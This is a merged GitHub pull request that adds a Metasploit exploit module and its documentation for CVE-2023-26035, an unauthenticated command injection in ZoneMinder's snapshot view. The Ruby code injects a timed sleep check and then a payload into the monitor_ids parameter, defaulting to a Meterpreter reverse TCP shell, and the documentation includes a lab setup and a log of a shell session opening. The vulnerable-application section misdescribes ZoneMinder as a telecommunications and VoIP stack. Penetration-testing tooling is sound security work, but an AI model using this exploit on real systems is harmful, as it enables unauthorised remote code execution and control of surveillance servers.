Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Zoneminder snapshot #18434

Merged
merged 15 commits into from
Nov 10, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
154 changes: 154 additions & 0 deletions documentation/modules/exploit/unix/webapp/zoneminder_snapshots.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,154 @@
## Description

This module exploits a command injection that leads to a remote execution in ZoneMinder surveillance software versions before 1.36.33 and before 1.37.33

More about the vulnerability detail: [2023-26035](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-26035).

The module will automatically use `cmd/linux/http/x64/meterpreter/reverse_tcp` payload.

The module will check if the target is vulnerable, by sending a sleep command.


## Vulnerable Application

[Zoneminder](https://zoneminder.com/) is a free and open-source software defined telecommunications stack for real-time communication, WebRTC, telecommunications, video, and Voice over Internet Protocol.

This module has been tested successfully on Zoneminder versions:

* 1.36.31~64bit on Debian 11

### Source and Installers

* [Source Code Repository](https://github.com/ZoneMinder/zoneminder/tree/1.36.31)
* [Installers](https://zoneminder.readthedocs.io/en/stable/installationguide/index.html)

**The 3rd party debian-repository has packages for the vulnerable versions(for example zoneminder=1.36.31-bullseye1)**

### Ansible Installation

This exploit was tested using [a debian bullseye cloudimage](https://cloud.debian.org/images/cloud/bullseye/20210814-734/)
with the following ansible-roles:

```yaml
roles:
- src: https://github.com/ait-cs-IaaS/atb-ansible-zoneminder.git
version: v1.2
name: zoneminder
- src: https://github.com/ait-cs-IaaS/atb-ansible-debiansnapshot.git
version: v1.2
name: debiansnapshot
- src: https://github.com/ait-cs-IaaS/ansible-mariadb.git
version: v1.0.0
name: mariadb
- src: https://github.com/ait-cs-IaaS/ansible-apache2.git
version: v1.3
name: apache2
```

Zoneminder was deployed using the following playbook:

```yaml
- name: Install old Debian-Archive-Repo Host
hosts: all
remote_user: debian
become: true
vars:
debsnap_timestamp: 20210815T082041Z
debsnap_debrelease: bullseye
roles:
- role: debiansnapshot

- name: Install Videoserver Host
hosts: all
remote_user: debian
become: true
tasks:
- name: Install Videoserver Packages
ansible.builtin.apt:
pkg:
- vim
- curl
- netcat-traditional
update_cache: yes

roles:
- role: mariadb
- role: apache2
vars:
apache2_modules:
- name: "headers"
- name: "rewrite"
- name: "expires"
- name: "cgi"
apache2_vhosts:
- name: default
http: true
vhost_template: "redir.j2"
- role: zoneminder
vars:
zoneminder_debrelease: bullseye
```

The following template-file("redir.j2") for apache2 redirects requests to the
zoneminder subdirectory:

```
<VirtualHost *:80>
ServerName {{ item.name }}
{% if item.aliases is defined %}
ServerAlias {{ item.aliases|join(' ') }}
{% endif %}
DocumentRoot {{ apache2_vhost_dir }}/{{ item.name }}
RedirectMatch ^/$ /zm/
ErrorLog {{ apache2_vhost_dir }}/{{ item.name }}/log/error.log
CustomLog {{ apache2_vhost_dir }}/{{ item.name }}/log/access.log combined

<Directory "{{ apache2_vhost_dir }}/{{ item.name }}">
Options FollowSymLinks MultiViews
AllowOverride All
Require all granted
</Directory>
</VirtualHost>
```

whotwagner marked this conversation as resolved.
Show resolved Hide resolved
## Verification Steps
Example steps in this format (is also in the PR):

1. Do: `use exploit/unix/webapp/zoneminder_snapshots`
2. Do: `set RHOSTS [ips]`
3. Do: `set LHOST [lhost]`
4. Do: `run`
5. You should get a shell.

## Options

### TARGETURI

Remote web path to the zoneminder installation (default: /zm/)

## Scenarios

In this scenario the zoneminder-server has the IP address 192.42.0.254. The IP address of the metasploit host is
192.42.1.188.

### Zoneminder 1.36.31-bullseye1

The following demo shows how to use the exploit with minimal settings:

```
msf6 exploit(unix/webapp/zoneminder_snapshots) > run

[*] Started reverse TCP handler on 192.42.1.188:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Elapsed time: 10.249642733018845 seconds.
[+] The target appears to be vulnerable.
[*] Fetching CSRF Token
[+] Got Token: key:b5da21a154bc5f46cd2b3648fe9e44931dd74bac,1697109606
[*] Executing nix Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending payload
[*] Sending stage (3045380 bytes) to 192.42.0.254
[*] Meterpreter session 1 opened (192.42.1.188:4444 -> 192.42.0.254:56398) at 2023-10-12 11:20:07 +0000
[+] Payload sent

meterpreter >
```
158 changes: 158 additions & 0 deletions modules/exploits/unix/webapp/zoneminder_snapshots.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,158 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ZoneMinder Snapshots Command Injection',
'Description' => %q{
This module exploits an unauthenticated command injection
in zoneminder that can be exploited by appending a command
to the "create monitor ids[]"-action of the snapshot view.
Affected versions: < 1.36.33, < 1.37.33
},
'License' => MSF_LICENSE,
'Author' => [
'UnblvR', # Discovery
'whotwagner' # Metasploit Module
],
'References' => [
[ 'CVE', '2023-26035' ],
[ 'URL', 'https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr']
],
'Privileged' => false,
'Platform' => ['linux', 'unix'],
'Targets' => [
[
'nix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
}
],
],
'CmdStagerFlavor' => [ 'bourne', 'curl', 'wget', 'printf', 'echo' ],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-02-24',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/'])
])
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)
return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200

unless res.body.include?('ZoneMinder')
return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')
end

csrf_magic = get_csrf_magic(res)
# This check executes a sleep-command and checks the response-time
sleep_time = rand(5..10)
data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}"
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
cgranleese-r7 marked this conversation as resolved.
Show resolved Hide resolved
res, elapsed_time = Rex::Stopwatch.elapsed_time do
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'data' => data.to_s,
'keep_cookies' => true
)
end
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res

print_status("Elapsed time: #{elapsed_time} seconds.")
if sleep_time < elapsed_time
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe('Target is not vulnerable')
end

def execute_command(cmd, _opts = {})
command = Rex::Text.uri_encode(cmd)
print_status('Sending payload')
data = "view=snapshot&action=create&monitor_ids[0][Id]=;#{command}"
data += "&__csrf_magic=#{@csrf_magic}" if @csrf_magic
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'data' => data.to_s
)
print_good('Payload sent')
end

def exploit
# get magic csrf-token
print_status('Fetching CSRF Token')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)

if res && res.code == 200
# parse token
@csrf_magic = get_csrf_magic(res)
unless @csrf_magic =~ /^key:[a-f0-9]{40},\d+/
fail_with(Failure::UnexpectedReply, 'Unable to parse token.')
end
else
fail_with(Failure::UnexpectedReply, 'Unable to fetch token.')
end
print_good("Got Token: #{@csrf_magic}")
# send payload
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

private

def get_csrf_magic(res)
return if res.nil?

res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text
end
end